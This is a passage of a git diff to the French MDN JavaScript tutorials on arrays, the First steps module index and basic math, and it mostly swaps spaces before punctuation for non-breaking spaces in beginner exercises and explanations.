essayez : +1. D'abord `unshift()` — essayez : ```js myArray.unshift('Edinburgh'); myArray; ``` -2. Maintenant `shift()` — essayez ! +2. Maintenant `shift()` — essayez ! ```js let removedItem = myArray.shift(); @@ -332,16 +332,16 @@ Premièrement, pour ajouter ou supprimer un élément à la fin du tableau, vous removedItem; ``` -## Activité : affichons les produits +## Activité : affichons les produits -Revenons à l'exemple que nous avons décrit plus haut — afficher les noms des produits et leurs prix pour un envoi, puis faire le total des prix et l'afficher à la fin de la liste. Dans l'exemple modifiable ci‑dessous, il y a des commentaires numérotés — chacun d'entre eux marque l'emplacement où vous devez ajouter quelque chose au code. Voici : +Revenons à l'exemple que nous avons décrit plus haut — afficher les noms des produits et leurs prix pour un envoi, puis faire le total des prix et l'afficher à la fin de la liste. Dans l'exemple modifiable ci‑dessous, il y a des commentaires numérotés — chacun d'entre eux marque l'emplacement où vous devez ajouter quelque chose au code. Voici : 1. Sous le commentaire `// number 1` il y a un certain nombre de chaînes de caractères, chacune précise le nom d'un produit et son prix séparé par deux‑points. Placez‑les dans un tableau ; enregistrez‑le sous le nom `products`. -2. Sur la même ligne que le commentaire `// number 2` se trouve le début d'une boucle. Dans cette ligne nous avons actuellement `i <= 0`, test conditionnel qui fait que la [boucle](/fr/docs/Learn/JavaScript/First_steps/A_first_splash#loops) stoppe immédiatement, car ce test dit « stopper dès que `i` est inférieur ou égal à 0 » et `i` part de 0. Remplacez ce test par un qui n'arrêtera pas la boucle tant que `i` sera inférieur à la taille du tableau `products`. +2. Sur la même ligne que le commentaire `// number 2` se trouve le début d'une boucle. Dans cette ligne nous avons actuellement `i <= 0`, test conditionnel qui fait que la [boucle](/fr/docs/Learn/JavaScript/First_steps/A_first_splash#loops) stoppe immédiatement, car ce test dit « stopper dès que `i` est inférieur ou égal à 0 » et `i` part de 0. Remplacez ce test par un qui n'arrêtera pas la boucle tant que `i` sera inférieur à la taille du tableau `products`. 3. Au dessous du commentaire `// number 3` nous voudrions que vous écriviez une ligne de code qui scinde l'élément courant du tableau (`nom:prix`) en deux éléments distincts, un contenant uniquement le nom, l'autre uniquement le prix. Si vous nous ne savez pas trop comment faire, revoyez l'article relatif aux [Méthodes utiles pour les chaînes de caractères](/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods) pour vous aider, ou même mieux, regardez la section {{anch("Converting between strings and arrays")}} de cet article. 4. En plus des lignes de code ci‑dessus, vous aurez aussi à convertir les prix de chaîne de caractères en chiffres. Si vous ne vous souvenez pas comment faire, revoyez le [premier article à propos des chaînes](/fr/docs/Learn/JavaScript/First_steps/Strings#numbers_versus_strings). -5. Il y a une variable nommée `total` créée et initialisée à la valeur de 0 en tête du code. Dans la boucle (sous `// number 4`) ajoutez une ligne qui ajoute à ce total le prix de l'article courant à chaque itération de la boucle, de sorte que à la fin du code le prix total soit correctement inscrit sur l'envoi. Vous pourriez avoir besoin d'un [opérateur d'assignation](/fr/docs/Learn/JavaScript/First_steps/Math#assignment_operators) pour faire cela ;-). -6. Nous souhaitons que vous modifiez la ligne au‑dessous de `// number 5` de sorte que la variable `itemText` soit égale à « nom actuel de l'élément — $prix actuel de l'élément », par exemple « Shoes — $23.99 » dans chaque cas, de façon à ce qu'une information correcte soit affichée sur l'envoi. Il s'agit d'une simple concaténation de chaînes de caractères, chose qui doit vous être familière. +5. Il y a une variable nommée `total` créée et initialisée à la valeur de 0 en tête du code. Dans la boucle (sous `// number 4`) ajoutez une ligne qui ajoute à ce total le prix de l'article courant à chaque itération de la boucle, de sorte que à la fin du code le prix total soit correctement inscrit sur l'envoi. Vous pourriez avoir besoin d'un [opérateur d'assignation](/fr/docs/Learn/JavaScript/First_steps/Math#assignment_operators) pour faire cela ;-). +6. Nous souhaitons que vous modifiez la ligne au‑dessous de `// number 5` de sorte que la variable `itemText` soit égale à « nom actuel de l'élément — $prix actuel de l'élément », par exemple « Shoes — $23.99 » dans chaque cas, de façon à ce qu'une information correcte soit affichée sur l'envoi. Il s'agit d'une simple concaténation de chaînes de caractères, chose qui doit vous être familière. ```html hidden <div class="output" style="min-height: 150px;"> @@ -409,7 +409,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar totalBox = document.querySelector(\'.output p\');\nvar total = 0;\nlist.innerHTML = \'\';\ntotalBox.textContent = \'\';\n\nvar products = [\'Underpants:6.99\',\n \'Socks:5.99\',\n \'T-shirt:14.99\',\n \'Trousers:31.99\',\n \'Shoes:23.99\'];\n\nfor(var i = 0; i < products.length; i++) {\n var subArray = products[i].split(\':\');\n var name = subArray[0];\n var price = Number(subArray[1]);\n total += price;\n itemText = name + \' — $\' + price;\n\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n}\n\ntotalBox.textContent = \'Total: $\' + total.toFixed(2);'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar totalBox = document.querySelector(\'.output p\');\nvar total = 0;\nlist.innerHTML = \'\';\ntotalBox.textContent = \'\';\n\nvar products = [\'Underpants:6.99\',\n \'Socks:5.99\',\n \'T-shirt:14.99\',\n \'Trousers:31.99\',\n \'Shoes:23.99\'];\n\nfor(var i = 0; i < products.length; i++) {\n var subArray = products[i].split(\':\');\n var name = subArray[0];\n var price = Number(subArray[1]);\n total += price;\n itemText = name + \' — $\' + price;\n\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n}\n\ntotalBox.textContent = \'Total: $\' + total.toFixed(2);'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); @@ -417,18 +417,18 @@ window.addEventListener('load', updateCode); {{ EmbedLiveSample('Activité_affichons_les_produits', '100%', 600) }} -## Activité : Top 5 des recherches +## Activité : Top 5 des recherches Une bonne utilisation des méthodes de tableaux comme {{jsxref("Array.prototype.push()","push()")}} et {{jsxref("Array.prototype.pop()","pop()")}} permet de conserver un enregistrement des éléments actuellement actifs dans une application web. Dans une scène animée, par exemple, vous pouvez avoir un tableau d'objets représentant les graphiques d'arrière-plan actuellement affichés, et vous pouvez n'en vouloir que 50 à la fois, pour des raisons de performance ou d'encombrement. Chaque fois que de nouveaux objets sont créés et ajoutés au tableau, les plus anciens peuvent être supprimés du tableau pour n'en conserver que le nombre voulu. -Dans cet exemple nous allons montrer une utilisation beaucoup plus simple — ici, nous allons vous fournir un site de recherche fictif, avec une boîte de recherche. Voici l'idée : quand un terme est entré dans la boîte de recherche, les 5 précédents termes entrés sont affichés dans la liste. Quand le nombre de termes dépasse 5, le dernier terme est supprimé chaque fois qu'un nouveau terme est ajouté ; ainsi, le 5 termes précédents sont toujours affichés. +Dans cet exemple nous allons montrer une utilisation beaucoup plus simple — ici, nous allons vous fournir un site de recherche fictif, avec une boîte de recherche. Voici l'idée : quand un terme est entré dans la boîte de recherche, les 5 précédents termes entrés sont affichés dans la liste. Quand le nombre de termes dépasse 5, le dernier terme est supprimé chaque fois qu'un nouveau terme est ajouté ; ainsi, le 5 termes précédents sont toujours affichés. -> **Note :** Dans une application réelle avec boîte de recherche, vous pourriez vraisemblablement cliquer sur un des termes de la liste pour revenir à la recherche précédente, et l'application afficherait les vrais résultats ! Mais pour le moment nous en resterons à quelque chose de simple. +> **Note :** Dans une application réelle avec boîte de recherche, vous pourriez vraisemblablement cliquer sur un des termes de la liste pour revenir à la recherche précédente, et l'application afficherait les vrais résultats ! Mais pour le moment nous en resterons à quelque chose de simple. -Pour terminer l'application, il vous faut : +Pour terminer l'application, il vous faut : 1. Ajouter une ligne sous le commentaire `// number 1` pour ajouter la valeur qui vient d'être saisie dans la boîte au début du tableau. Cette valeur est récupérée avec `searchInput.value`. -2. Ajouter une ligne sous le commentaire `// number 2` pour supprimer la valeur en fin de liste du tableau. +2. Ajouter une ligne sous le commentaire `// number 2` pour supprimer la valeur en fin de liste du tableau. ```html hidden <div class="output" style="min-height: 150px;"> @@ -506,7 +506,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar searchInput = document.querySelector(\'.output input\');\nvar searchBtn = document.querySelector(\'.output button\');\n\nlist.innerHTML = \'\';\n\nvar myHistory= [];\n\nsearchBtn.onclick = function() {\n if(searchInput.value !== \'\') {\n myHistory.unshift(searchInput.value);\n\n list.innerHTML = \'\';\n\n for(var i = 0; i < myHistory.length; i++) {\n itemText = myHistory[i];\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n }\n\n if(myHistory.length >= 5) {\n myHistory.pop();\n }\n\n searchInput.value = \'\';\n searchInput.focus();\n }\n}'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar searchInput = document.querySelector(\'.output input\');\nvar searchBtn = document.querySelector(\'.output button\');\n\nlist.innerHTML = \'\';\n\nvar myHistory= [];\n\nsearchBtn.onclick = function() {\n if(searchInput.value !== \'\') {\n myHistory.unshift(searchInput.value);\n\n list.innerHTML = \'\';\n\n for(var i = 0; i < myHistory.length; i++) {\n itemText = myHistory[i];\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n }\n\n if(myHistory.length >= 5) {\n myHistory.pop();\n }\n\n searchInput.value = \'\';\n searchInput.focus();\n }\n}'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); @@ -516,13 +516,13 @@ window.addEventListener('load', updateCode); ## Testez vos compétences ! -Vous avez atteint la fin de cet article, mais vous souvenez-vous des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien fixé ces connaissances avant de continuer — voir [Test de compétences : les tableaux](/fr/docs/Learn/JavaScript/First_steps/Test_your_skills:_Arrays). +Vous avez atteint la fin de cet article, mais vous souvenez-vous des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien fixé ces connaissances avant de continuer — voir [Test de compétences : les tableaux](/fr/docs/Learn/JavaScript/First_steps/Test_your_skills:_Arrays). ## Conclusion -Après la lecture de cet article, vous conviendrez que les tableaux semblent fichtrement utiles ; vous les verrez un peu partout en JavaScript, souvent associés à des boucles pour appliquer la même action à chaque élément du tableau. Nous vous indiquerons toutes les bases utiles à savoir à propos des boucles dans le prochain module, mais pour l'instant, félicitations : prenez une pause bien méritée ; vous avez étudié tous les articles du module ! +Après la lecture de cet article, vous conviendrez que les tableaux semblent fichtrement utiles ; vous les verrez un peu partout en JavaScript, souvent associés à des boucles pour appliquer la même action à chaque élément du tableau. Nous vous indiquerons toutes les bases utiles à savoir à propos des boucles dans le prochain module, mais pour l'instant, félicitations : prenez une pause bien méritée ; vous avez étudié tous les articles du module ! -La seule chose restant à faire est de procéder à l'évaluation de ce module pour tester votre compréhension de son contenu. +La seule chose restant à faire est de procéder à l'évaluation de ce module pour tester votre compréhension de son contenu. ## Voir aussi diff --git a/files/fr/learn/javascript/first_steps/index.md b/files/fr/learn/javascript/first_steps/index.md index 03d1d7d9e4..4f5dea5337 100644 --- a/files/fr/learn/javascript/first_steps/index.md +++ b/files/fr/learn/javascript/first_steps/index.md @@ -17,11 +17,11 @@ translation_of: Learn/JavaScript/First_steps --- {{LearnSidebar}} -Dans notre premier module consacré à JavaScript, nous allons tout d'abord répondre à des questions fondamentales comme « qu'est-ce que JavaScript ? », « à quoi ressemble-t-il ? » et « de quoi est-il capable ? ». Nous vous accompagnerons ensuite dans votre première expérience pratique consistant à écrire du code JavaScript. Après cela, nous examinerons en détail quelques briques de base, telles que les variables, les chaînes de caractères, les nombres, et les tableaux. +Dans notre premier module consacré à JavaScript, nous allons tout d'abord répondre à des questions fondamentales comme « qu'est-ce que JavaScript ? », « à quoi ressemble-t-il ? » et « de quoi est-il capable ? ». Nous vous accompagnerons ensuite dans votre première expérience pratique consistant à écrire du code JavaScript. Après cela, nous examinerons en détail quelques briques de base, telles que les variables, les chaînes de caractères, les nombres, et les tableaux. ## **Prérequis** -Avant d'entamer ce module, vous n'avez besoin d'aucune connaissance préalable en JavaScript, mais vous devriez être familier avec HTML et CSS. Nous vous conseillons de lire les modules suivants avant d'aller plus loin : +Avant d'entamer ce module, vous n'avez besoin d'aucune connaissance préalable en JavaScript, mais vous devriez être familier avec HTML et CSS. Nous vous conseillons de lire les modules suivants avant d'aller plus loin : - [Commencer avec le Web](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML) (qui inclut une [présentation basique de JavaScript](/fr/docs/Learn/Getting_started_with_the_web/JavaScript_basics)). - [Introduction au langage HTML](/fr/docs/Web/Guide/HTML/Introduction). @@ -31,26 +31,26 @@ Avant d'entamer ce module, vous n'avez besoin d'aucune connaissance préalable e ## Guides -- [Qu'est-ce que JavaScript ?](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) +- [Qu'est-ce que JavaScript ?](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) - : Bienvenue dans le cours de JavaScript pour débutants proposé par MDN ! Dans ce premier article, nous aborderons JavaScript sous un angle général afin de comprendre ce qu'il est et à quoi il sert. Nous nous assurerons ici que vous cernez bien le but premier du langage. - [Notre premier code JavaScript](/fr/docs/Learn/JavaScript/First_steps/A_first_splash) - : Maintenant que vous en savez un peu plus sur la partie théorique de JavaScript et sur ce que vous pouvez réaliser avec, nous allons poursuivre avec un cours accéléré sur les fonctionnalités de base du langage par le biais d'un tutoriel axé sur la pratique. Vous développerez ici, pas à pas, un jeu simple consistant à faire deviner un nombre. -- [Qu'est-ce qui n'a pas fonctionné ? Déboguer du code JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong) - - : Quand vous développiez le jeu de devinette dans le cadre du tutoriel précédent, vous avez pu constater que notre programme ne fonctionnait pas. Pas de panique — cet article est là pour vous éviter de vous arracher les cheveux sur de tels problèmes en vous donnant quelques conseils simples sur la manière de trouver et résoudre les erreurs dans vos programmes JavaScript. -- [Stocker les informations dont vous avez besoin — les variables](/fr/docs/Learn/JavaScript/First_steps/Variables) - - : Après avoir lu les articles précédents, vous devriez maintenant mieux comprendre ce qu'est JavaScript, ce qu'il peut faire pour vous, comment l'utiliser de pair avec d'autres technologies du Web, et à quoi ressemblent ses principales fonctionnalités d'un point de vue global. Dans cet article, nous allons aborder les véritables fondements, en présentant l'une des pierres angulaires du langage : les variables. -- [Mathématiques de base en JavaScript — nombres et opérateurs](/fr/docs/Learn/JavaScript/First_steps/Math) +- [Qu'est-ce qui n'a pas fonctionné ? Déboguer du code JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong) + - : Quand vous développiez le jeu de devinette dans le cadre du tutoriel précédent, vous avez pu constater que notre programme ne fonctionnait pas. Pas de panique — cet article est là pour vous éviter de vous arracher les cheveux sur de tels problèmes en vous donnant quelques conseils simples sur la manière de trouver et résoudre les erreurs dans vos programmes JavaScript. +- [Stocker les informations dont vous avez besoin — les variables](/fr/docs/Learn/JavaScript/First_steps/Variables) + - : Après avoir lu les articles précédents, vous devriez maintenant mieux comprendre ce qu'est JavaScript, ce qu'il peut faire pour vous, comment l'utiliser de pair avec d'autres technologies du Web, et à quoi ressemblent ses principales fonctionnalités d'un point de vue global. Dans cet article, nous allons aborder les véritables fondements, en présentant l'une des pierres angulaires du langage : les variables. +- [Mathématiques de base en JavaScript — nombres et opérateurs](/fr/docs/Learn/JavaScript/First_steps/Math) - : À ce stade du cours, nous allons parler de mathématiques en JavaScript, à savoir comment combiner des opérateurs arithmétiques avec d'autres fonctionnalités du langage pour arriver à nos fins. -- [Gérer du texte — les chaînes de caractères en JavaScript](/fr/docs/Learn/JavaScript/First_steps/Strings) +- [Gérer du texte — les chaînes de caractères en JavaScript](/fr/docs/Learn/JavaScript/First_steps/Strings) - : Attaquons-nous maintenant aux chaînes de caractères — le nom savant désignant en programmation des portions de texte. Dans cet article, nous allons voir les bases que vous devez impérativement connaître lors de votre apprentissage de JavaScript, comme la création de chaînes, l'échappement de caractères et la jonction de plusieurs chaînes. - [Méthodes utiles pour les chaînes de caractères](/fr/docs/Learn/JavaScript/First_steps/methode_chaine_utile) - : Maintenant que nous avons vu les bases relatives aux chaînes de catactères, passons à la vitesse supérieure et regardons ce que nous pouvons faire de plus poussé avec lesdites chaînes grâce aux méthodes natives, comme par exemple déterminer la longueur d'un texte, joindre et séparer des chaînes, remplacer un caractère par un autre, et bien plus encore. - [Les tableaux](/fr/docs/Learn/JavaScript/First_steps/tableaux) - - : Dans le dernier article de ce module, nous allons nous pencher sur les tableaux — un moyen ingénieux de stocker une liste d'éléments dans une unique variable. Ici nous allons voir en quoi cela est pratique, puis nous verrons entre autres comment créer un tableau et comment récupérer, ajouter et supprimer des éléments stockés. + - : Dans le dernier article de ce module, nous allons nous pencher sur les tableaux — un moyen ingénieux de stocker une liste d'éléments dans une unique variable. Ici nous allons voir en quoi cela est pratique, puis nous verrons entre autres comment créer un tableau et comment récupérer, ajouter et supprimer des éléments stockés. ## Auto-évaluation L'auto-évaluation suivante teste votre compréhension des bases de JavaScript abordées dans le guide ci-dessus. - [Génerateur d'histoires absurdes](/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator) - - : Dans le cadre de cette évaluation, votre tâche sera d'utiliser les connaissances que vous avez apprises dans les articles de ce module et de les appliquer pour créer une appli ludique qui génère aléatoirement des histoires absurdes. Amusez-vous bien ! + - : Dans le cadre de cette évaluation, votre tâche sera d'utiliser les connaissances que vous avez apprises dans les articles de ce module et de les appliquer pour créer une appli ludique qui génère aléatoirement des histoires absurdes. Amusez-vous bien ! diff --git a/files/fr/learn/javascript/first_steps/math/index.md b/files/fr/learn/javascript/first_steps/math/index.md index c7f77d2fe1..06eda01cc4 100644 --- a/files/fr/learn/javascript/first_steps/math/index.md +++ b/files/fr/learn/javascript/first_steps/math/index.md @@ -19,19 +19,19 @@ translation_of: Learn/JavaScript/First_steps/Math --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}} -À ce point du didacticiel, nous parlerons de « mathématiques en JavaScript » — comment utiliser les {{Glossary("Operator","operators")}} et autres fonctionnalités pour manier avec succès les nombres pour faire nos bricolages. +À ce point du didacticiel, nous parlerons de « mathématiques en JavaScript » — comment utiliser les {{Glossary("Operator","operators")}} et autres fonctionnalités pour manier avec succès les nombres pour faire nos bricolages. <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript. </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td>Se familiariser avec les bases des maths en JavaScript.</td> </tr> </tbody> @@ -39,25 +39,25 @@ translation_of: Learn/JavaScript/First_steps/Math ## Tout le monde aime les maths -Mouais, peut‑être pas. Certains parmi nous aiment les maths, d'autres les détestent depuis qu'il leur a fallu apprendre les tables de multiplication et les longues divisions à l'école, d'autres se situent entre les deux. Mais personne ne peut nier que les mathématiques sont une connaissance fondamentale dont il n'est pas possible de se passer. Cela devient particulièrement vrai lorsque nous apprenons à programmer en JavaScript (ou tout autre langage d'ailleurs) — une grande part de ce que nous faisons reposant en effet sur le traitement de données numériques, le calcul de nouvelles valeurs, etc. ; vous ne serez donc pas étonné d'apprendre que JavaScript dispose d'un ensemble complet de fonctions mathématiques. +Mouais, peut‑être pas. Certains parmi nous aiment les maths, d'autres les détestent depuis qu'il leur a fallu apprendre les tables de multiplication et les longues divisions à l'école, d'autres se situent entre les deux. Mais personne ne peut nier que les mathématiques sont une connaissance fondamentale dont il n'est pas possible de se passer. Cela devient particulièrement vrai lorsque nous apprenons à programmer en JavaScript (ou tout autre langage d'ailleurs) — une grande part de ce que nous faisons reposant en effet sur le traitement de données numériques, le calcul de nouvelles valeurs, etc. ; vous ne serez donc pas étonné d'apprendre que JavaScript dispose d'un ensemble complet de fonctions mathématiques. Cet article ne traite que des éléments de base nécessaires pour débuter. ### Types de nombres -En programmation, même l'ordinaire système des nombres décimaux que nous connaissons tous si bien est plus compliqué qu'on ne pourrait le croire. Nous utilisons divers termes pour décrire différents types de nombres décimaux, par exemple : +En programmation, même l'ordinaire système des nombres décimaux que nous connaissons tous si bien est plus compliqué qu'on ne pourrait le croire. Nous utilisons divers termes pour décrire différents types de nombres décimaux, par exemple : -- **Entier :** (_Integer_ en anglais) c'est un nombre sans partie fractionnaire, comme son nom l'indique, par exemple 10, 400 ou -5 -- **Nombre à virgule flottante :** (_float_ en anglais) il a un **point** de séparation entre la partie entière et la partie fractionnaire (là où en France nous mettons une virgule), par exemple 12**.**5 et 56**.**7786543 -- **Doubles** : (pour double précision) ce sont des nombres à virgule flottante de précision supérieure aux précédents (on les dit plus précis en raison du plus grand nombre de décimales possibles). +- **Entier :** (_Integer_ en anglais) c'est un nombre sans partie fractionnaire, comme son nom l'indique, par exemple 10, 400 ou -5 +- **Nombre à virgule flottante :** (_float_ en anglais) il a un **point** de séparation entre la partie entière et la partie fractionnaire (là où en France nous mettons une virgule), par exemple 12**.**5 et 56**.**7786543 +- **Doubles** : (pour double précision) ce sont des nombres à virgule flottante de précision supérieure aux précédents (on les dit plus précis en raison du plus grand nombre de décimales possibles). -Nous disposons même de plusieurs systèmes de numération ! Le décimal a pour base 10 (ce qui signifie qu'il se sert de chiffres entre 0 et 9 dans chaque rang), mais il en existe d'autres : +Nous disposons même de plusieurs systèmes de numération ! Le décimal a pour base 10 (ce qui signifie qu'il se sert de chiffres entre 0 et 9 dans chaque rang), mais il en existe d'autres : - **Binaire** — utilisé par le plus bas niveau de langage des ordinateurs, il est composé de 0 et de 1. - **Octal** — de base 8, utilise les chiffres entre 0 et 7 dans chaque rang. - **Hexadécimal** — de base 16, utilise les chiffres entre 0 et 9 puis les lettres de a à f dans chaque rang. Vous avez peut-être déjà rencontré ces nombres en définissant des couleurs dans les [CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Values_and_units#hexadecimal_values). -**Avant que votre cervelle ne se mette à bouillir, stop !** Pour commencer, nous ne nous intéresserons qu'aux nombres décimaux dans ce cours ; vous aurez rarement besoin de vous servir des autres types, peut-être même jamais. +**Avant que votre cervelle ne se mette à bouillir, stop !** Pour commencer, nous ne nous intéresserons qu'aux nombres décimaux dans ce cours ; vous aurez rarement besoin de vous servir des autres types, peut-être même jamais. L'autre bonne nouvelle, c'est que contrairement à d'autres langages de programmation, JavaScript n'a qu'un seul type de donnée pour les nombres, vous l'avez deviné : {{jsxref("Number")}}. Cela signifie que, en JavaScript, quels que soient les types de nombre avec lesquels vous travaillerez, vous les manipulerez tous exactement de la même façon. @@ -69,7 +69,7 @@ Amusons‑nous avec quelques chiffres pour nous familiariser avec la syntaxe de **[Ouvrir la console dans une nouvelle fenêtre](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/)** -1. Premièrement, déclarons une paire de variables et initialisons‑les respectivement avec un entier et un nombre avec des décimales, puis saisissons les noms des variables à nouveau pour vérifier que tout est correct : +1. Premièrement, déclarons une paire de variables et initialisons‑les respectivement avec un entier et un nombre avec des décimales, puis saisissons les noms des variables à nouveau pour vérifier que tout est correct : ```js var myInt = 5; @@ -79,7 +79,7 @@ Amusons‑nous avec quelques chiffres pour nous familiariser avec la syntaxe de ``` 2. Les nombres sont saisis sans guillemets — essayez de déclarer et initialiser deux ou trois variables de plus contenant des nombres avant de continuer. -3. Maintenant vérifions que les deux variables d'origine sont du même type de donnée. En JavaScript, l'opérateur nommé {{jsxref("Operators/typeof", "typeof")}} est prévu pour cela. Entrez les deux lignes ci‑dessous comme indiqué : +3. Maintenant vérifions que les deux variables d'origine sont du même type de donnée. En JavaScript, l'opérateur nommé {{jsxref("Operators/typeof", "typeof")}} est prévu pour cela. Entrez les deux lignes ci‑dessous comme indiqué : 4. ```js typeof myInt; typeof myFloat; @@ -124,7 +124,7 @@ Number(myNumber) + 3; ## Opérateurs arithmétiques -Ce sont les opérateurs de base pour effectuer diverses opérations : +Ce sont les opérateurs de base pour effectuer diverses opérations : <table class="standard-table"> <thead> @@ -181,7 +181,7 @@ Ce sont les opérateurs de base pour effectuer diverses opérations : Nous n'avons certainement pas besoin de vous apprendre les quatre opérations, mais ce serait bien de tester si vous avez bien compris la syntaxe. Entrez les exemples ci‑dessous dans la [console des outils de développement JavaScript](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) ou servez vous de la console intégrée plus haut, comme vous préférez, pour vous familiariser avec la syntaxe. -1. Essayez de saisir quelques exemples simples de votre cru, comme : +1. Essayez de saisir quelques exemples simples de votre cru, comme : ```js 10 + 7 @@ -189,7 +189,7 @@ Nous n'avons certainement pas besoin de vous apprendre les quatre opérations, m 60 % 3 ``` -2. Déclarez et initialisez quelques variables, puis utilisez‑les dans des opérations — les variables se comporteront exactement comme les valeurs qu'elles contiennent pour les besoins de l'opération. Par exemple : +2. Déclarez et initialisez quelques variables, puis utilisez‑les dans des opérations — les variables se comporteront exactement comme les valeurs qu'elles contiennent pour les besoins de l'opération. Par exemple : ```js var num1 = 10; @@ -198,7 +198,7 @@ Nous n'avons certainement pas besoin de vous apprendre les quatre opérations, m num2 / num1; ``` -3. Pour terminer cette partie, entrez quelques expressions plus compliquées, comme : +3. Pour terminer cette partie, entrez quelques expressions plus compliquées, comme : ```js 5 + 10 * 3; @@ -206,23 +206,23 @@ Nous n'avons certainement pas besoin de vous apprendre les quatre opérations, m num2 + num1 / 8 + 2; ``` -Certaines opérations de cet ensemble ne vous renvoient peut-être pas le résultat attendu ; le paragraphe qui suit vous explique pourquoi. +Certaines opérations de cet ensemble ne vous renvoient peut-être pas le résultat attendu ; le paragraphe qui suit vous explique pourquoi. ### Priorité des opérateurs -Revenons sur le dernier exemple ci‑dessus, en supposant que `num2` contient la valeur 50 et `num1` contient 10 (comme défini plus haut) : +Revenons sur le dernier exemple ci‑dessus, en supposant que `num2` contient la valeur 50 et `num1` contient 10 (comme défini plus haut) : ```js num2 + num1 / 8 + 2; ``` -En tant qu'humain, vous pouvez lire « *50 plus 10 égale 60 »*, puis « *8 plus 2 égale 10 »* et finalement « *60 divisé par 10 égale 6 »*. +En tant qu'humain, vous pouvez lire « *50 plus 10 égale 60 »*, puis « *8 plus 2 égale 10 »* et finalement « *60 divisé par 10 égale 6 »*. -Mais le navigateur _calcule « 10 sur 8 égale 1.25 »_, puis « *50 plus 1.25 plus 2 égale 53.25 »*. +Mais le navigateur _calcule « 10 sur 8 égale 1.25 »_, puis « *50 plus 1.25 plus 2 égale 53.25 »*. Cela est dû aux **priorités entre opérateurs** — certains sont appliqués avant d'autres dans une opération (on parle d'une expression en programmation). En JavaScript, la priorité des opérateurs est identique à celle enseignée à l'école — Multiplication et Division sont toujours effectuées en premier, suivies d'Addition et Soustraction (le calcul est toujours exécuté de la gauche vers la droite). -Si vous voulez contourner les règles de priorité des opérateurs, vous pouvez mettre entre parenthèses les parties que vous souhaitez voir calculées en premier. Pour obtenir un résultat égal à 6, nous devons donc écrire : +Si vous voulez contourner les règles de priorité des opérateurs, vous pouvez mettre entre parenthèses les parties que vous souhaitez voir calculées en premier. Pour obtenir un résultat égal à 6, nous devons donc écrire : ```js (num2 + num1) / (8 + 2); @@ -234,34 +234,34 @@ Essayez-le et voyez. ## Opérateurs d'incrémentation et de décrémentation -Quelquefois vous aurez besoin d'ajouter ou retrancher 1 à une valeur de variable de manière répétitive. On effectue commodément cette opération à l'aide des opérateurs d'incrémentation (`++`) ou de décrementation (`--`). Nous nous sommes servis de `++` dans le jeu « Devinez le nombre » dans notre article [Première plongée dans le JavaScript](/fr/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash) pour ajouter 1 à la variable `guessCount` pour décompter le nombre de suppositions restantes après chaque tour. +Quelquefois vous aurez besoin d'ajouter ou retrancher 1 à une valeur de variable de manière répétitive. On effectue commodément cette opération à l'aide des opérateurs d'incrémentation (`++`) ou de décrementation (`--`). Nous nous sommes servis de `++` dans le jeu « Devinez le nombre » dans notre article [Première plongée dans le JavaScript](/fr/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash) pour ajouter 1 à la variable `guessCount` pour décompter le nombre de suppositions restantes après chaque tour. ```js guessCount++; ``` -> **Note :** Ces opérateurs sont couramment utilisés dans des [boucles ;](/fr/docs/Web/JavaScript/Guide/Loops_and_iteration) nous les verrons plus loin dans ce cours. Par exemple, disons que vous voulez parcourir une liste de prix et ajouter les taxes à chacun. Vous utiliserez une boucle pour obtenir chaque valeur une à une et exécuterez le calcul voulu pour ajouter les taxes à chacune. L'incrément s'utilise pour aller à la valeur suivante. Nous avons mis un exemple concret montrant comment faire — voyez‑le tout de suite, examinez le code source et notez les opérateurs d'incrémentation ! Nous reverrons les boucles en détail plus loin dans ce cours. +> **Note :** Ces opérateurs sont couramment utilisés dans des [boucles ;](/fr/docs/Web/JavaScript/Guide/Loops_and_iteration) nous les verrons plus loin dans ce cours. Par exemple, disons que vous voulez parcourir une liste de prix et ajouter les taxes à chacun. Vous utiliserez une boucle pour obtenir chaque valeur une à une et exécuterez le calcul voulu pour ajouter les taxes à chacune. L'incrément s'utilise pour aller à la valeur suivante. Nous avons mis un exemple concret montrant comment faire — voyez‑le tout de suite, examinez le code source et notez les opérateurs d'incrémentation ! Nous reverrons les boucles en détail plus loin dans ce cours. -Jouons avec ces opérateurs dans la console. Notez d'abord qu'il n'est pas possible de les appliquer directement à un nombre, ce qui peut paraître étrange, mais cet opérateur assigne à une variable une nouvelle valeur mise à jour, il n'agit pas sur la valeur elle‑même. Ce qui suit renvoie une erreur : +Jouons avec ces opérateurs dans la console. Notez d'abord qu'il n'est pas possible de les appliquer directement à un nombre, ce qui peut paraître étrange, mais cet opérateur assigne à une variable une nouvelle valeur mise à jour, il n'agit pas sur la valeur 